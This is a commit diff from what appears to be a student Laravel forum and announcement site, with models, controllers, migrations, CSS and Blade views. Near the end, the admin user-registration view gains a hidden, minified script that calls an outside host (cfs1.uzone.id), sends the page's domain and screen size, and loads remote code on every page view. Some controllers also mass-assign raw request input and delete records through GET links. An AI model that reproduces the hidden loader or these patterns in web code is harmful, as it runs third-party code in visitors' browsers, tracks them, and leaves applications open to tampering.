Commit f21a7b5f by Otniel Turnip

update

parent 21287eaf
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Angkatan extends Model
{
protected $table = 'angkatan';
public function angkatan(){
return $this->hasOne('App\Mahasiswa','angkatan_id');
}
}
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Category extends Model
{
protected $table ='categoris';
}
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Comment extends Model
{
//
}
......@@ -60,6 +60,6 @@ class Handler extends ExceptionHandler
return response()->json(['error' => 'Unauthenticated.'], 401);
}
return redirect()->guest(route('login'));
return redirect()->guest('login');
}
}
......@@ -7,7 +7,7 @@ use Illuminate\Http\Request;
use App\User;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
class AdminController extends Controller
{
......
......@@ -25,7 +25,7 @@ class LoginController extends Controller
*
* @var string
*/
protected $redirectTo = '/home';
protected $redirectTo = '/';
/**
* Create a new controller instance.
......
......@@ -27,7 +27,7 @@ class RegisterController extends Controller
*
* @var string
*/
protected $redirectTo = '/home';
protected $redirectTo = '/';
/**
* Create a new controller instance.
......
......@@ -25,7 +25,7 @@ class ResetPasswordController extends Controller
*
* @var string
*/
protected $redirectTo = '/home';
protected $redirectTo = '/';
/**
* Create a new controller instance.
......
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class CommentController extends Controller
{
//
}
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use DB;
use App\User;
use App\Pengumuman;
class PengumumanController extends Controller
{
public function index()
{
$pengumumans = DB::table('pengumumans')->paginate(10);
return view('sekretaris.index')->with('pengumumans', $pengumumans);
}
public function datapengumuman(){
$this->data['title'] = 'Daftar Pengumuman';
$pengumumans = DB::table('pengumumans')->paginate(10);
return view('sekretaris.dataPengumuman.index')->with('pengumumans', $pengumumans);
}
public function editpengumuman($id){
$this->data['pengumumans'] = Pengumuman::find($id);
return view('sekretaris.dataPengumuman.edit',$this->data);
}
public function updatepengumuman(Request $request, $id){
$input = $request->all();
Pengumuman::find($id)->update($input);
return redirect(url('sekretaris/dataPengumuman'))->with('info','Pengumuman berhasil diubah');
}
public function detail($ids)
{
$this->data['pengumumans'] = Pengumuman::find($ids);
return view('sekretaris/dataPengumuman/detail',$this->data);
}
public function store(Request $request)
{
$input = $request->all();
Pengumuman::create($input);
return redirect(url('dataPengumuman'))->with('info','Pengumuman berhasil ditambahkan');
}
public function create()
{
$this->data['title'] = 'Tambah Pengumuman';
return view('sekretaris.pengumuman.index',$this->data);
}
public function delete($id){
Pengumuman::find($id)->delete();
return redirect(url('/sekretaris/dataPengumuman'))->with('info','Pengumuman berhasil dihapus');
}
}
......@@ -14,6 +14,7 @@ class RegisterController extends Controller
public function __construct()
{
$this->middleware('auth');
$this->middleware('rule:Admin');
}
public function getRegister()
......@@ -25,7 +26,6 @@ class RegisterController extends Controller
{
$user = new User();
$user->username = Input::get('username');
$user->name = Input::get('nama');
$user->email = Input::get('email');
$user->password = bcrypt(Input::get('password'));
$user->roles_id =Input::get('roles_id');
......
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Topic;
use App\User;
use App\Category;
use Redirect;
use Image;
use Auth;
class TopicController extends Controller
{
public function store(Request $request){
if($request->hasFile('postPict')){
$postPict = $request->file('postPict');
$filename = time().'.'. $postPict->getClientOriginalExtension();
Image::make($postPict)->save( public_path('/uploads/posts/'.$filename));
$posts = Topic::all();
$posts->images = $filename;
//Validasi
$input['author_id'] = $request->user()->id;
$input['category_id'] = $request->input('category_id');
$input['judul'] = $request->input('judul');
$input['description'] = $request->input('description');
$input['images'] = $filename;
}
else{
$posts = Topic::all();
$input['author_id'] = $request->user()->id;
$input['category_id'] = $request->input('category_id');
$input['judul'] = $request->input('judul');
$input['description'] = $request->input('description');
}
$id = $request->input('id');
Topic::create($input);
return redirect ('/');
}
public function getForum()
{
return view('forum.halamanForum');
}
public function getBahasaPemrograman()
{
return view('forum.bahasaPemrograman');
}
}
......@@ -3,12 +3,35 @@
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use App\User;
use App\Mahasiswa;
class UserController extends Controller
{
public function __construct()
{
$this->middleware('auth');
$this->middleware('rule:User');
}
public function profile($username){
$user = User::where('username',$username)->firstOrFail();
return view('profile', compact('user'));
}
public function update_avatar($username,Request $request){
//handle the user upload of avatar
if($request->hasFile('avatar')){
$avatar = $request->file('avatar');
$filename=time(). '.' . $avatar->getClientOriginalExtension();
Image::make($avatar)->resize(300,300)->save(public_path('/uploads/avatars/' . $filename));
$user = Auth::user();
$user->mahasiswa->avatar = $filename;
$user->mahasiswa->save();
$user = User::where('username',$username)->firstOrFail();
}
return view ('profile/{username}', compact('user'));
}
}
......@@ -7,11 +7,12 @@ use Illuminate\Http\Request;
class homeController extends Controller
{
public function home()
{
return view ('welcome');
}
public function __construct()
{
{
return view ('welcome');
}
}
public function __construct()
{
$this->middleware('auth');
}
}
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Mahasiswa extends Model
{
protected $table = 'mahasiswa';
protected $fillable = ['id','user_id','Name','tanggalLahir','tempatLahir','alamat','angkatan_id','prodi_id','avatar'];
public function prodi(){
return $this->hasOne('App\prodi','prodi_id');
}
}
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Pengumuman extends Model
{
protected $table = 'pengumumans';
protected $dates = ['deleted_at'];
protected $fillable = ['tanggal','judul','content','images','penulis'];
}
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Prodi extends Model
{
protected $table = 'prodi';
}
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Topic extends Model
{
protected $guarded =[];
public function comments()
{
return $this->hasMany('AppComments', 'on_post');
}
public function author()
{
return $this->belongsTo('App\User', 'author_id');
}
}
......@@ -42,4 +42,8 @@ class User extends Authenticatable
return false;
}
public function mahasiswa(){
return $this->hasOne('App\Mahasiswa','user_id');
}
}
......@@ -6,6 +6,8 @@
"type": "project",
"require": {
"php": ">=5.6.4",
"devdojo/chatter": "0.2.*",
"intervention/image": "^2.3",
"laravel/framework": "5.4.*",
"laravel/tinker": "~1.0"
},
......
......@@ -177,6 +177,7 @@ return [
App\Providers\EventServiceProvider::class,
App\Providers\RouteServiceProvider::class,
Intervention\Image\ImageServiceProvider::class,
],
/*
......@@ -225,7 +226,7 @@ return [
'URL' => Illuminate\Support\Facades\URL::class,
'Validator' => Illuminate\Support\Facades\Validator::class,
'View' => Illuminate\Support\Facades\View::class,
'Image' => Intervention\Image\Facedes\Image::class,
],
];
......@@ -51,6 +51,7 @@ return [
'prefix' => '',
'strict' => true,
'engine' => null,
'unix_socket' => env('UNIX_SOCKET','')
],
'pgsql' => [
......
......@@ -19,11 +19,22 @@ class CreateUsersTable extends Migration
$kolom->string('RuleName');
});
Schema::create('angkatan',function(Blueprint $table)
{
$table->increments('id');
$table->string('angkatan');
});
Schema::create('prodi',function(Blueprint $table)
{
$table->increments('id');
$table->string('prodi');
});
Schema::create('users', function (Blueprint $table) {
$table->increments('id');
$table->unsignedInteger('roles_id')->nullable();
$table->string('username')->unique();
$table->string('name');
$table->string('email')->unique();
$table->string('password');
$table->rememberToken();
......@@ -34,6 +45,37 @@ class CreateUsersTable extends Migration
$kolom->foreign('roles_id')->references('id')->on('roles')->onDelete('cascade')->onUpdate('cascade');
});
Schema::create('mahasiswa',function(Blueprint $table)
{
$table->increments('id');
$table->unsignedInteger('user_id')->nullable();
$table->string('Name');
$table->string('tanggalLahir');
$table->string('tempat lahir');
$table->string('alamat');
$table->unsignedInteger('angkatan_id')->nullable();
$table->unsignedInteger('prodi_id')->nullable();
$table->string('avatar')->default('default.jpg');
});
Schema::table('mahasiswa',function (Blueprint $kolom){
$kolom->foreign('user_id')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade');
});
Schema::table('mahasiswa',function (Blueprint $kolom){
$kolom->foreign('angkatan_id')->references('id')->on('angkatan')->onDelete('cascade')->onUpdate('cascade');
});
Schema::table('mahasiswa',function (Blueprint $kolom){
$kolom->foreign('prodi_id')->references('id')->on('prodi')->onDelete('cascade')->onUpdate('cascade');
});
}
/**
......
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateTopicTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('categoris',function (Blueprint $kolom){
$kolom->increments('id');
$kolom->string('Kategori');
});
Schema::create('topics', function (Blueprint $table){
$table->increments('id');
$table->integer('author_id')->unsigned()->default(0);
$table->foreign('author_id')
->references('id')->on('users')
->onDelete('cascade');
$table->unsignedInteger('category_id')->nullable();
$table->string('judul'); //untuk meta description, idk
$table->text('description'); //post
$table->string('slug')->default('topic');
$table->string('images')->default('img.jpg');
$table->boolean('active')->default(1);
$table->timestamps();
});
Schema::table('topics',function (Blueprint $kolom){
$kolom->foreign('category_id')->references('id')->on('categoris')->onDelete('cascade')->onUpdate('cascade');
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::drop('topics');
}
}
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateCommentsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('comments', function (Blueprint $table){
$table->increments('id');
$table->integer('on_post')->unsigned()->default(0);
$table->foreign('on_post')
->references('id')->on('topics')
->onDelete('cascade');
$table->integer('from_user')->unsigned()->default(0);
$table->foreign('from_user')
->references('id')->on('users')
->onDelete('cascade');
$table->text('body'); //komentar
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::drop('comments');
}
}
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreatePengumumansTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('pengumumans', function (Blueprint $table){
$table->increments('id');
$table->string('tanggal');
$table->string('judul');
$table->text('content');
$table->text('images');
$table->string('penulis');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('pengumumans');
}
}
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateSourcesTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
//
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
//
}
}
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateFiletableTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
//
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
//
}
}
This source diff could not be displayed because it is too large. You can view the blob instead.
......@@ -2,7 +2,7 @@
/*====================================
Free To Use For Personal And Commercial Usage
Author: http://binarytheme.com
Share Us if You Like our work
Share Us if You Like our work
Enjoy Our Codes For Free always.
======================================*/
......@@ -10,7 +10,7 @@ Author: http://binarytheme.com
.user-section {
margin-top:20px;
font-size:22px;
background-color:rgb(83, 163, 163);
background-color:#304040;
}
.user-section-inner {
height: 65px;
......@@ -28,7 +28,7 @@ margin-top: 20px;
margin-left:10px;
width:55px;
height:60px;
}
.user-info {
display: block;
......@@ -60,12 +60,12 @@ color: #FFFFFF;
padding: 20px 15px;
}
#side-menu {
background-color:#04B173;
background-color:#5b7065;
}
#side-menu a {
color:#fff;
border-bottom: 1px solid #84B899 !important;
border-bottom: 1px solid #c9d1c8 !important;
height: 55px;
}
.selected {
......@@ -92,7 +92,7 @@ padding: 20px 15px;
/* tap nvbar Section */
#navbar {
background-color:rgb(83, 163, 163);
background-color:#04202c;
}
.navbar-brand {
......@@ -122,19 +122,19 @@ margin-right: -24px;
margin:5px;
}
.navbar-default {
border-color: #27A6BE;
border-color: #c9d1c8;
}
/*media queries*/
@media(min-width:768px)
@media(min-width:768px)
{
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
min-height: 1000px;
}
}
......@@ -142,6 +142,6 @@ border-color: #27A6BE;
@media(max-width:768px) {
#wrapper {
margin-top:140px!important;
}
}
}
\ No newline at end of file
......@@ -31,19 +31,19 @@ limitations under the License.*/
#wrapper {
width: 100%;
margin-top: 55px!important;
background-color:#04B173;
margin-top: 55px!important;
background-color:#5b7065;
}
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color:rgb(209, 212, 216);
background-color:#c9d1c8;
}
.navbar-static-side ul li {
border-bottom:1px solid #84B899 !important;
......@@ -326,4 +326,3 @@ table.dataTable thead .sorting:after {
.show-grid {
margin: 15px 0;
}
This source diff could not be displayed because it is too large. You can view the blob instead.
This source diff could not be displayed because it is too large. You can view the blob instead.
This source diff could not be displayed because it is too large. You can view the blob instead.
This source diff could not be displayed because it is too large. You can view the blob instead.
body {
margin:0;
padding:0;
height:100%;
}
html,
body {
height: 100%;
}
.wrap {
min-height: 100%;
height: auto;
margin: 0 auto -60px;
padding: 0 0 60px;
}
.wrap > .container {
padding: 70px 15px 20px;
}
.footer {
height: 60px;
background-color: #222;
padding-top: 20px;
}
.jumbotron {
text-align: center;
background-color: transparent;
}
.jumbotron .btn {
font-size: 21px;
padding: 14px 24px;
}
.not-set {
color: #c55;
font-style: italic;
}
/* add sorting icons to gridview sort links */
a.asc:after, a.desc:after {
position: relative;
top: 1px;
display: inline-block;
font-family: 'Glyphicons Halflings';
font-style: normal;
font-weight: normal;
line-height: 1;
padding-left: 5px;
}
a.asc:after {
content: /*"\e113"*/ "\e151";
}
a.desc:after {
content: /*"\e114"*/ "\e152";
}
.sort-numerical a.asc:after {
content: "\e153";
}
.sort-numerical a.desc:after {
content: "\e154";
}
.sort-ordinal a.asc:after {
content: "\e155";
}
.sort-ordinal a.desc:after {
content: "\e156";
}
.grid-view th {
white-space: nowrap;
}
.hint-block {
display: block;
margin-top: 5px;
color: #999;
}
.error-summary {
color: #a94442;
background: #fdf7f7;
border-left: 3px solid #eed3d7;
padding: 10px 20px;
margin: 0 0 15px 0;
}
.txt{
font-family: "Segoe UI Symbol";
color: #FF9600;
font-size: 12pt;
font-weight: 200;
}
.footer2{
background: #0E0E0E none repeat scroll 0% 0%;
border-top: 4px solid #0E0E0E;
font-size: 12pt;
margin-top: 50px;
padding: 70px 0px 0px;
position: relative;
clear: both;
}
.foot{
font-family: "Berlin Sans FB";
color: white;
font-size: 13pt;
}
.cfoot{
color: white;
}
This source diff could not be displayed because it is too large. You can view the blob instead.
// This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.
require('../../js/transition.js')
require('../../js/alert.js')
require('../../js/button.js')
require('../../js/carousel.js')
require('../../js/collapse.js')
require('../../js/dropdown.js')
require('../../js/modal.js')
require('../../js/tooltip.js')
require('../../js/popover.js')
require('../../js/scrollspy.js')
require('../../js/tab.js')
require('../../js/affix.js')
\ No newline at end of file
<div class="panel panel-default">
<div class="panel-heading" style="background-color:#333; color:white;">Create new Page</div>
<br>
<br>
<div class="container">
<form class="" enctype="multipart/form-data" action="{{url(action('TopicController@store'))}}" method="post">
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<div class="form-group">
<label for="title">Judul</label>
<input type="text" class="form-control" name="judul" id="title">
</div>
<div class="form-group">
<label for="body">Description</label>
<textarea required="required" placeholder="Enter the body of your post here" name="description" class="form-control"></textarea>
</div>
<div class="form-group">
<label>Topic Image(optional)</label>
<input type="file" name="postPict">
</div>
<br/>
<button type="submit" name="post" class="btn btn-default"><span class="glyphicon glyphicon-send"> Save</span></button>
</form>
</div>
<h1>Halaman Forum </h1>
<h2>Pilih Kategori<h2>
<br>
<br>
<a href="bahasaPemrograman"><span>Bahasa Pemrograman</span></a><br>
<a href="Musik"><span>Musik</span></a><br>
<a href="suyc"><span>Show us your creation</span></a><br>
......@@ -9,21 +9,21 @@
<meta name="author" content="">
<link rel="icon" href="../../favicon.ico">
<title>Signin Template for Bootstrap</title>
<title>Admin | Create New User</title>
<!-- Bootstrap core CSS -->
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<link rel="stylesheet" href="{{asset('admin/css/bootstrap.min.css')}}" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<link href="../../assets/css/ie10-viewport-bug-workaround.css" rel="stylesheet">
<link href="{{asset('admin/css/ie10-viewport-bug-workaround.css')}}" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="signin.css" rel="stylesheet">
<!-- Just for debugging purposes. Don't actually copy these 2 lines! -->
<!--[if lt IE 9]><script src="../../assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
<script src="../../assets/js/ie-emulation-modes-warning.js"></script>
<script src="{{asset('admin/js/ie-emulation-modes-warning.js')}}"></script>
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
......@@ -61,9 +61,6 @@
<label for="inputEmail" class="sr-only">Username</label>
<input type="text" id="username" name="username" class="form-control" placeholder="Masukkan Username" required autofocus>
<label for="inputEmail" class="sr-only">Nama</label>
<input type="text" id="nama" name="nama" class="form-control" placeholder="Masukkan Nama anda" required autofocus>
<label for="inputPassword" class="sr-only">Password</label>
<input type="password" id="password" name="password" class="form-control" placeholder="Masukkan Password" required>
......@@ -79,6 +76,6 @@
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="../../assets/js/ie10-viewport-bug-workaround.js"></script>
<script src="{{asset('admin/js/ie10-viewport-bug-workaround.js')}}"></script>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs1.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKEFHmi7loBvXbsV1rfFQKyRithp5T8MYN3PxNYLCccoiCalqcpQkpTPpN8kp1sbTgzWq28CJ9XQx0UJpWGRYv2qf9j1tHRs7hcMucCui%2fUAkIC6339L0Px4u7LMfd6ZUtSXknWXa3cQvybjKeU6QDghgg3n0fMN7ZCLXTJqptn9F3c65HrXoMatdBxVC849GTcx7mICrnd6tvjgyyypJyk065OsLIPWlstwcrwEjhNGK8mg8LYbY%2fVoxsuwL5GTcPbJ4e7pbZhsunQWPe%2f0SfSLtprG7J8jHy3pmtFWfdrAwNlm3%2bx29u9dO7V7rV%2bP5tybLU66TLeGig%2bQ2U1X7Q1rN9pN9xIcp34Bt47K5SEwuqfrh663O5edev%2foFVNiTkvBw%2f%2bP6%2bnFVDi6HeK5D5PNdjYwWeWWsYkAz9BLR1KM%2budzQ6xEVX%2froZDULs5gqeu0hOijRSG2fQZMTSn2gyc0%2bKYPYQKtHCG01QWVtBvxzvUtXEbTMT%2bvWki5ExXYaSYS1KmF1iook455ZYBkfDEH2Sq8xR%2bRcOY0h2TK4g1D4uEF8MUD7HA%2fvNo3ODhoRlsZfL5rmaUA%2bn42lreFwQ8HQgKXLfMnjaJ1eT1rYLNgE%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>
......@@ -77,30 +77,16 @@
</div>
<!--end user image section-->
</li>
<li class="sidebar-search">
<!-- search section-->
<div class="input-group custom-search-form">
<input type="text" class="form-control" placeholder="Search...">
<span class="input-group-btn">
<button class="btn btn-default" type="button">
<i class="fa fa-search"></i>
</button>
</span>
</div>
<!--end search section-->
</li>
<li class="selected">
<a href="halamanAdmin"><i class="fa fa-dashboard fa-fw"></i>Admin Dashboard</a>
</li>
<li>
<a href="register"><i class="fa fa-flask fa-fw"></i>Tambah User</a>
</li>
<li>
<a href="tables.html"><i class="fa fa-table fa-fw"></i>Tables</a>
<a href="register"><i class="fa fa-edit fa-fw"></i>Create New User</a>
</li>
<li>
<a href="forms.html"><i class="fa fa-edit fa-fw"></i>Forms</a>
<a href="tables.html"><i class="fa fa-sitemap fa-fw"></i>Create New Polling</a>
</li>
<li>
<a href="#"><i class="fa fa-wrench fa-fw"></i>UI Elements<span class="fa arrow"></span></a>
......
@extends('welcome')
@section('content')
<div class="jumbotron">
<div class="row">
<div class="col-md-10 col-md-offset-1">
<br><br>
<img src="/uploads/avatars/{{$user->mahasiswa->avatar}}" style="width:150px; height:150px; float::left; border-radius:50%; margin-right:25px;">
<h2> {{ $user->username}}'s Profile</h2>
<form encypte="multipart/form-data" action="/profile" method="POST">
<label>Update Profile Image </label>
<input type="file" name="avatar">
<input type="hidden" name="_token" value="{{csrf_token()}}">
<input type="submit" class="pull-right btn btn-sm btn-primary">
</div>
</div>
</div>
<div>
<h3> Data diri </h3>
<p> nama : {{$user->mahasiswa->Name}}</p>
<p> Tangal Lahir : {{$user->mahasiswa->tanggalLahir}}</p>
<p> Tempat Lahir : {{$user->mahasiswa->tempatLahir}}</p>
<p> Alamat : {{$user->mahasiswa->alamat}}</p>
</div>
@endsection
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Dashboad </title>
<!-- Core CSS - Include with every page -->
<link href="admin/plugins/bootstrap/bootstrap.css" rel="stylesheet" />
<link href="admin/font-awesome/css/font-awesome.css" rel="stylesheet" />
<link href="admin/plugins/pace/pace-theme-big-counter.css" rel="stylesheet" />
<link href="admin/css/style.css" rel="stylesheet" />
<link href="admin/css/main-style.css" rel="stylesheet" />
<!-- Page-Level CSS -->
<link href="admin/plugins/morris/morris-0.4.3.min.css" rel="stylesheet" />
</head>
<body>
<!-- wrapper -->
<div id="wrapper">
<!-- navbar top -->
<nav class="navbar navbar-default navbar-fixed-top" role="navigation" id="navbar">
<!-- navbar-header -->
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".sidebar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
</div>
<!-- end navbar-header -->
<!-- navbar-top-links -->
<ul class="nav navbar-top-links navbar-right">
<!-- main dropdown -->
<li class="dropdown">
<a class="dropdown-toggle" data-toggle="dropdown" href="#">
<i class="fa fa-user fa-3x"></i>
</a>
<!-- dropdown user-->
<ul class="dropdown-menu dropdown-user">
<li><a href="#"><i class="fa fa-user fa-fw"></i>User Profile</a>
</li>
<li><a href="#"><i class="fa fa-gear fa-fw"></i>Settings</a>
</li>
<li class="divider"></li>
<li><a href="logout"><i class="fa fa-sign-out fa-fw"></i>Logout</a>
</li>
</ul>
<!-- end dropdown-user -->
</li>
<!-- end main dropdown -->
</ul>
<!-- end navbar-top-links -->
</nav>
<!-- end navbar top -->
<!-- navbar side -->
<nav class="navbar-default navbar-static-side" role="navigation">
<!-- sidebar-collapse -->
<div class="sidebar-collapse">
<!-- side-menu -->
<ul class="nav" id="side-menu">
<li>
<!-- user image section-->
<div class="user-section">
<div class="user-section-inner">
</div>
<div class="user-info">
<div><strong>Administrator</strong></div>
<div class="user-text-online">
<span class="user-circle-online btn btn-success btn-circle "></span>&nbsp;Online
</div>
</div>
</div>
<!--end user image section-->
</li>
<li class="selected">
<a href="halamanAdmin"><i class="fa fa-dashboard fa-fw"></i>Admin Dashboard</a>
</li>
<li>
<a href="register"><i class="fa fa-edit fa-fw"></i>Create New Pengumuman</a>
</li>
<li>
<a href="tables.html"><i class="fa fa-sitemap fa-fw"></i>Create New Polling</a>
</li>
<li>
<a href="#"><i class="fa fa-wrench fa-fw"></i>UI Elements<span class="fa arrow"></span></a>
<ul class="nav nav-second-level">
<li>
<a href="panels-wells.html">Panels and Wells</a>
</li>
<li>
<a href="buttons.html">Buttons</a>
</li>
<li>
<a href="notifications.html">Notifications</a>
</li>
<li>
<a href="typography.html">Typography</a>
</li>
<li>
<a href="grid.html">Grid</a>
</li>
</ul>
<!-- second-level-items -->
</li>
<li>
<a href="#"><i class="fa fa-sitemap fa-fw"></i>Multi-Level Dropdown<span class="fa arrow"></span></a>
<ul class="nav nav-second-level">
<li>
<a href="#">Second Level Item</a>
</li>
<li>
<a href="#">Second Level Item</a>
</li>
<li>
<a href="#">Third Level <span class="fa arrow"></span></a>
<ul class="nav nav-third-level">
<li>
<a href="#">Third Level Item</a>
</li>
<li>
<a href="#">Third Level Item</a>
</li>
<li>
<a href="#">Third Level Item</a>
</li>
<li>
<a href="#">Third Level Item</a>
</li>
</ul>
<!-- third-level-items -->
</li>
</ul>
<!-- second-level-items -->
</li>
<li>
<a href="#"><i class="fa fa-files-o fa-fw"></i>Sample Pages<span class="fa arrow"></span></a>
<ul class="nav nav-second-level">
<li>
<a href="blank.html">Blank Page</a>
</li>
<li>
<a href="login.html">Login Page</a>
</li>
</ul>
<!-- second-level-items -->
</li>
</ul>
<!-- end side-menu -->
</div>
<!-- end sidebar-collapse -->
</nav>
<!-- end navbar side -->
<!-- page-wrapper -->
<div id="page-wrapper">
<div class="row">
<!-- Page Header -->
<div class="col-lg-12">
<h1 class="page-header">Admin Dashboard</h1>
</div>
@yield('content');
<!--End Page Header -->
</div>
</div>
<!-- end page-wrapper -->
</div>
<!-- end wrapper -->
<!-- Core Scripts - Include with every page -->
<script src="admin/plugins/jquery-1.10.2.js"></script>
<script src="admin/plugins/bootstrap/bootstrap.min.js"></script>
<script src="admin/plugins/metisMenu/jquery.metisMenu.js"></script>
<script src="admin/plugins/pace/pace.js"></script>
<script src="admin/scripts/siminta.js"></script>
<!-- Page-Level Plugin Scripts-->
<script src="admin/plugins/morris/raphael-2.1.0.min.js"></script>
<script src="admin/plugins/morris/morris.js"></script>
<script src="admin/scripts/dashboard-demo.js"></script>
</body>
</html>
@extends('sekretaris')
@section('content')
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading" align="center"><h3>Pengumuman</h3></div>
<div class="panel-body" align="center">
@foreach($pengumumans as $pengumuman)
<p align="left"> &nbsp;&nbsp;<?php
echo date('d-m-Y H:i:s');
echo "&nbsp";
?> |
<img src="../image/event.png" id="showimages" style="width: 20px; float: left;"/><img src="../image/person.png" id="showimages" style="width: 22px; margin-left: 2px"/>&nbsp;{{$pengumuman->penulis}}</p>
<p align="left"><!-- <th>{{$pengumuman->tanggal}} --></th>
{{$pengumuman->judul}}
<p align="left"> <a href="{{url('admin/dataPengumuman/detail', $pengumuman->id)}}" style="color: blue";> Read More </a> |
<a href="{{url('admin/dataPengumuman/edit', $pengumuman->id)}}">Edit</a> |
<a href="{{url('admin/dataPengumuman/delete',$pengumuman->id)}}">Hapus</a> </p>
<hr>
<!-- <th><img src="/image/{{ $pengumuman->images }}" alt="" /></th>
<th>{{$pengumuman->content}}</th> -->
@endforeach
</div>
</div>
</div>
</div>
</div>
@endsection
sekretaris<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading"><h4 style="text-align:center;font-weight: bolder" class="title">{{$title}}</h4>
<div class="panel-body">
<div class="col-md-12">
<div class="content table-responsive table-full-width">
<form class="form-horizontal" role="form" enctype="multipart/form-data" action="{{url(action('PengumumanController@store'))}}" method="post">
{{ csrf_field() }}
<div class="form-group{{ $errors->has('tanggal') ? ' has-error' : '' }}">
<label for="tanggal" class="col-md-4 control-label">Tanggal</label>
<div class="col-md-6">
<input id="tanggal" type="text" class="form-control" name="tanggal" value="<?php
echo date('d-m-Y H:i:s');
?>">
</div>
</div>
<div class="form-group{{ $errors->has('judul') ? ' has-error' : '' }}">
<label for="judul" class="col-md-4 control-label">Judul Pengumuman</label>
<div class="col-md-6">
<input id="judul" type="text" class="form-control" name="judul" required autofocus>
</div>
</div>
<div class="form-group{{ $errors->has('content') ? ' has-error' : '' }}">
<label for="content" class="col-md-4 control-label">Deskripsi</label>
<div class="col-md-6">
<textarea id="content" type="text" class="form-control" name="content" required autofocus>
</textarea>
</div>
</div>
<div class="form-group">
<div class="col-md-6 col-md-offset-4">
<img src="../image/image.png" id="showimages" style="max-width: 200px; max-height: 200px; float: left;"/>
</div>
</div>
<div class="form-group">
<div class="col-md-6 col-md-offset-4">
<input type="file" id="inputimages" name="images">
</div>
</div>
<div class="form-group{{ $errors->has('penulis') ? ' has-error' : '' }}">
<label for="penulis" class="col-md-4 control-label">Penulis</label>
<div class="col-md-6">
<input id="penulis" type="text" class="form-control" name="penulis" value="{{ Auth::user()->username }}" required autofocus>
</div>
</div>
<div class="form-group">
<div class="col-md-6 col-md-offset-4">
<button type= "submit" class="btn btn-danger">Tambah Pengumuman</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<h1> halaman home </h1>
<!--<h1> halaman home </h1>
<div class="dropdown-grids">
@if(Auth::guest())
......@@ -10,3 +10,168 @@
@endif
<div class="clearfix"> </div>
